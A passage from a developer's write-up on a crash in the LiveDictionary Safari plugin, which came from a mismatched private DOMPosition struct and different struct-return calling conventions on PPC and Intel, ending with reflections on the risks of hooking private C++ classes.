With the return being done by having Function write to the struct via this implicit first parameter.
I thought that Intel might be different, and it is just a little bit. It turns out that on Intel, this convention is only used for structs that are longer than 8 bytes. Small structs are returned just like primitives. But still, there was no difference in calling convention between C functions and C++ methods, so things should still work even if this struct was only 8 bytes.
After some more digging I discovered the problem. At some point, DOMPosition had gained a third member. Doh! My struct was 4 bytes too short. It had continued to work on PPC through sheer luck; either the new member wasn't used, or the four bytes following the struct on the stack were something that could be harmlessly overwritten. But on Intel, those extra 4 bytes were enough to push the function over the edge; WebCore was returning the struct using the implicit parameter, but LiveDictionary was expecting a normal return, and so wasn't passing an implicit parameter. The result was a nasty crash.
The latest definition of the struct looks like:

struct DOMPosition {
void *m_node;
long m_offset;
int m_affinity;
};

With that fix, the Intel build worked fine.

Conclusions
Hacking on private C++ classes is harrowing and dangerous but doable. With the proper care, it can form the backbone of a whole application, so long as frequent updates are part of the plan, and the application is suitably paranoid. LiveDictionary would put up a very dire warning and disable itself by default if it detected a version of Safari that was newer than what it knew about. While I recommend this as the absolute last resort, and all other avenues should be explored first, it can be done if it's necessary.